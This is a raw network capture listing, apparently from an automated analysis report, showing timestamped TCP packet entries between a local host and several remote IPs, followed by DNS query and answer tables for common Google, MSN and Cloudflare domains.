Nov 12, 2024 04:16:37.849554062 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.849605083 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.849617004 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.849637985 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.849668980 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.849674940 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.849687099 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.849698067 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.849713087 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.849724054 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.849725962 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.849751949 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.849762917 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.849782944 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.849793911 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.849808931 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.849817991 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.849829912 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.849850893 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.850358963 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.850370884 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.850380898 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.850409985 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.850419044 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.850430012 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.850435972 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.850442886 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.850452900 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.850456953 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.850464106 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.850471020 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.850482941 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.850496054 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.850517988 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.852525949 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.852569103 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.852579117 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.852580070 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.852595091 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.852606058 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.852638960 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.852653027 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.852696896 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.852751970 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.852752924 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.852763891 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.852792978 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.852803946 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.852822065 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.852837086 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.852848053 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.852859020 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.852859974 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.852890015 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.852902889 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.852915049 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.852917910 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.852926016 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.852941990 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.852950096 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.852969885 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.853204966 CET	49907	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:37.853260040 CET	443	49907	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:37.853405952 CET	49907	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:37.853493929 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.853504896 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.853516102 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.853528023 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.853533983 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.853540897 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.853552103 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.853553057 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.853564978 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.853579998 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.853580952 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.853591919 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.853602886 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.853612900 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.853619099 CET	49907	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:37.853621006 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.853629112 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.853629112 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.853636026 CET	443	49907	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:37.853641033 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.853652000 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.853660107 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.853672028 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.853689909 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.854346991 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.854357958 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.854382038 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.854382038 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.854408026 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.854418039 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.854443073 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.854460955 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.854471922 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.854481936 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.854500055 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.854501009 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.854515076 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.854525089 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.854538918 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.854563951 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.862787008 CET	443	49901	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.863007069 CET	443	49901	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.863050938 CET	49901	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.863272905 CET	49901	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.863284111 CET	443	49901	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.863295078 CET	49901	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.863300085 CET	443	49901	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.867883921 CET	443	49904	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.868264914 CET	49904	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.868274927 CET	443	49904	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.868891954 CET	49904	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.868896961 CET	443	49904	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.886420965 CET	443	49902	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.886826038 CET	443	49902	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.886879921 CET	49902	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.887002945 CET	49902	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.887022972 CET	443	49902	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.887034893 CET	49902	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.887039900 CET	443	49902	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.896575928 CET	49908	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.896590948 CET	443	49908	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.896642923 CET	49908	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.898539066 CET	443	49903	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.898730040 CET	443	49903	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.898788929 CET	49903	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.898863077 CET	49903	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.898866892 CET	443	49903	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.898875952 CET	49903	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.898880005 CET	443	49903	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.904849052 CET	49908	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.904856920 CET	443	49908	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.907071114 CET	49909	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.907116890 CET	443	49909	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.907227993 CET	49909	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.909197092 CET	49909	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.909225941 CET	443	49909	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.910787106 CET	49910	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.910795927 CET	443	49910	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.910942078 CET	49910	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.911098957 CET	49910	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.911108017 CET	443	49910	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.960664034 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.960690975 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.960753918 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.960753918 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.000330925 CET	443	49904	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:38.000464916 CET	443	49904	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:38.000519991 CET	49904	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:38.000689983 CET	49904	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:38.000699997 CET	443	49904	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:38.000710011 CET	49904	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:38.000714064 CET	443	49904	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:38.004200935 CET	49911	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:38.004256010 CET	443	49911	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:38.004338026 CET	49911	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:38.004517078 CET	49911	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:38.004534006 CET	443	49911	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:38.006112099 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006124020 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006172895 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.006275892 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006288052 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006303072 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006321907 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.006324053 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006340981 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.006350994 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006361961 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006366968 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.006375074 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006380081 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006386995 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006386995 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.006414890 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006423950 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006426096 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.006437063 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006449938 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.006475925 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.006505013 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006516933 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006526947 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006546021 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006546021 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.006557941 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006567955 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006568909 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.006582975 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006592035 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.006604910 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006617069 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.006628036 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006644011 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.006659031 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.006665945 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006678104 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006689072 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006706953 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.006726027 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.006815910 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006825924 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006835938 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006848097 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006858110 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.006860971 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006875038 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006884098 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.006896019 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006906033 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.006912947 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006930113 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006934881 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.006942034 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006942987 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.006954908 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.006968021 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.006994009 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.007010937 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.007020950 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.007038116 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.007050037 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.007055998 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.007055998 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.007061005 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.007072926 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.007076979 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.007097006 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.007118940 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.007148981 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.007160902 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.007172108 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.007184029 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.007198095 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.007199049 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.007206917 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.007210016 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:38.007234097 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:38.007234097 CET	80	49898	185.215.113.16	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 12, 2024 04:16:10.995040894 CET	192.168.2.5	1.1.1.1	0xe3c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:10.995331049 CET	192.168.2.5	1.1.1.1	0xd361	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 12, 2024 04:16:14.315959930 CET	192.168.2.5	1.1.1.1	0xaf68	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:14.316215038 CET	192.168.2.5	1.1.1.1	0x4f04	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 12, 2024 04:16:15.314578056 CET	192.168.2.5	1.1.1.1	0x7976	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:15.314739943 CET	192.168.2.5	1.1.1.1	0x1155	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 12, 2024 04:16:22.342350960 CET	192.168.2.5	1.1.1.1	0x85a5	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:22.353627920 CET	192.168.2.5	1.1.1.1	0x11bc	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 12, 2024 04:16:23.498455048 CET	192.168.2.5	1.1.1.1	0x74d6	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:23.498728991 CET	192.168.2.5	1.1.1.1	0xf88a	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 12, 2024 04:16:25.152764082 CET	192.168.2.5	1.1.1.1	0x8835	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:25.153121948 CET	192.168.2.5	1.1.1.1	0xb76d	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 12, 2024 04:16:25.165986061 CET	192.168.2.5	1.1.1.1	0xc0b	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:25.166115999 CET	192.168.2.5	1.1.1.1	0xfa53	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 12, 2024 04:16:25.169456959 CET	192.168.2.5	1.1.1.1	0xdcf	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:25.169642925 CET	192.168.2.5	1.1.1.1	0x9c3a	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 12, 2024 04:16:25.180284023 CET	192.168.2.5	1.1.1.1	0xb4f	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:25.180522919 CET	192.168.2.5	1.1.1.1	0x243	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 12, 2024 04:16:25.844660997 CET	192.168.2.5	1.1.1.1	0x3992	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:25.844882965 CET	192.168.2.5	1.1.1.1	0x5ac	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 12, 2024 04:16:27.097131968 CET	192.168.2.5	1.1.1.1	0x27fb	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:27.097480059 CET	192.168.2.5	1.1.1.1	0xc91c	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 12, 2024 04:16:27.097877979 CET	192.168.2.5	1.1.1.1	0xd9a6	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:27.098355055 CET	192.168.2.5	1.1.1.1	0xdbc	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 12, 2024 04:16:27.152992010 CET	192.168.2.5	1.1.1.1	0xff5d	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:27.153446913 CET	192.168.2.5	1.1.1.1	0x8e28	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 12, 2024 04:16:11.001449108 CET	1.1.1.1	192.168.2.5	0xe3c	No error (0)	www.google.com		142.250.185.100	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:11.002058029 CET	1.1.1.1	192.168.2.5	0xd361	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 12, 2024 04:16:14.322617054 CET	1.1.1.1	192.168.2.5	0xaf68	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 04:16:14.322617054 CET	1.1.1.1	192.168.2.5	0xaf68	No error (0)	plus.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:14.323189020 CET	1.1.1.1	192.168.2.5	0x4f04	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 04:16:15.321461916 CET	1.1.1.1	192.168.2.5	0x7976	No error (0)	play.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:22.348833084 CET	1.1.1.1	192.168.2.5	0x85a5	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 04:16:22.360411882 CET	1.1.1.1	192.168.2.5	0x11bc	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 04:16:22.596719980 CET	1.1.1.1	192.168.2.5	0xc1e9	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 04:16:22.596719980 CET	1.1.1.1	192.168.2.5	0xc1e9	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:22.597467899 CET	1.1.1.1	192.168.2.5	0xd9	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 04:16:23.505590916 CET	1.1.1.1	192.168.2.5	0x74d6	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 04:16:23.505606890 CET	1.1.1.1	192.168.2.5	0xf88a	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 04:16:25.159614086 CET	1.1.1.1	192.168.2.5	0x8835	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:25.159614086 CET	1.1.1.1	192.168.2.5	0x8835	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:25.159614086 CET	1.1.1.1	192.168.2.5	0x8835	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:25.159614086 CET	1.1.1.1	192.168.2.5	0x8835	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 12, 2024 04:16:25.172570944 CET	1.1.1.1	192.168.2.5	0xc0b	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 04:16:25.173028946 CET	1.1.1.1	192.168.2.5	0xfa53	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 04:16:25.176450014 CET	1.1.1.1	192.168.2.5	0xdcf	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 04:16:25.176577091 CET	1.1.1.1	192.168.2.5	0x9c3a	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 04:16:25.187345982 CET	1.1.1.1	192.168.2.5	0xb4f	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
